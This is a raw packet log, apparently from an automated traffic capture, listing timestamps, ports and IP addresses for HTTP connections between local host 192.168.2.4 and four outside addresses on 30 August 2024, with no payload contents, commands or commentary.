Aug 30, 2024 03:17:06.965275049 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965286016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965293884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965312004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965318918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965341091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965353012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965368986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965384007 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965384960 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965394020 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965398073 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965404987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965409994 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965421915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.965424061 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965444088 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965466022 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.965475082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965512037 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965607882 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965619087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965626955 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965637922 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965642929 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965646982 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965656996 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965660095 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965668917 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965679884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965686083 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965692043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965703964 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965714931 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965729952 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965729952 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965735912 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965748072 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965783119 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965892076 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965908051 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965918064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965928078 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965933084 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965941906 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965954065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965964079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965972900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965972900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965976000 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965981960 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.965992928 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.965998888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966003895 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966026068 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966033936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966043949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966046095 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966053963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966062069 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966084957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966095924 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966192007 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966202021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966212034 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966223001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966233015 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966233969 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966244936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966247082 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966254950 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966273069 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966295004 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966309071 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966320038 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966329098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966340065 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966350079 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966351032 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966361046 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966363907 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966371059 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.966388941 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966406107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966413021 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.966449022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966459036 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966490984 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966530085 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966552019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966562986 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966567993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966573954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966589928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966599941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966603994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966614962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966619968 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966626883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966639042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966649055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966665983 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966679096 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966692924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966707945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966722965 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966734886 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966734886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966744900 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966772079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966790915 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966824055 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966834068 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966842890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966869116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966875076 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966885090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966886997 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966892958 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966919899 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.966962099 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966972113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966981888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.966993093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967003107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967005968 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967017889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967039108 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967073917 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967084885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967091084 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967099905 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967114925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967125893 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967135906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967143059 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967147112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967166901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967190027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967190981 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967204094 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967221022 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967230082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967236042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967241049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967258930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967284918 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967293024 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967304945 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967314005 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967325926 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967335939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967344046 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967361927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967363119 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967381001 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967396975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967402935 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967406988 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967434883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967434883 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967447996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967453003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967458963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967468977 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967470884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967480898 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967499971 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967508078 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967519999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967534065 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967544079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967569113 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967581987 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967588902 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967598915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967607975 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967633963 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967658997 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967663050 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967674017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967684031 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967693090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967704058 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967708111 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967736006 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967745066 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967751980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967767954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967780113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967791080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967793941 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967807055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967816114 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967819929 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967827082 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967850924 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967855930 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967863083 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.967875004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967892885 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.967905998 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968045950 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968085051 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968125105 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968135118 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968168020 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968169928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968179941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968215942 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968221903 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968230963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968244076 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:06.968261003 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968276024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.968286991 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:06.971766949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971807957 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971863985 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.971910954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971921921 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971956968 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.971961975 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971972942 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.971997023 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972007036 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972018003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972026110 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972042084 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972057104 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972512007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972522020 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972532988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972558022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972564936 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972568989 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972580910 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972590923 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972593069 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972604990 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972625017 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.972626925 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.972662926 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.973361015 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973371029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973381042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973413944 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.973436117 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.973449945 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973459959 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973475933 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973485947 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973491907 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.973496914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.973514080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.973526955 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.974277973 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974288940 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974298000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974329948 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.974350929 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.974378109 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974386930 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974397898 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974414110 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.974416018 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974428892 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.974437952 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.974453926 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.975120068 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975142956 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975152969 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975178957 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.975195885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.975287914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975297928 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975308895 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975320101 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.975336075 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.975351095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.975848913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.975860119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.975869894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.975879908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.975903034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.975927114 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.975930929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.975965023 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976015091 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976026058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976036072 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976046085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976056099 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976057053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976069927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976083994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976109982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976182938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976193905 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976203918 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976214886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976224899 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976232052 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976248980 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976259947 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976281881 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976290941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976300955 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976313114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976320982 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:06.976330042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976337910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.976363897 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:06.984138012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984148026 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984172106 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984181881 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984193087 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984196901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.984203100 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984214067 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:06.984226942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.984246969 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:06.987593889 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987615108 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987626076 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987649918 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987667084 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:06.987716913 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987729073 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987737894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987751961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:06.987762928 CEST	49733	80	192.168.2.4	147.45.44.104
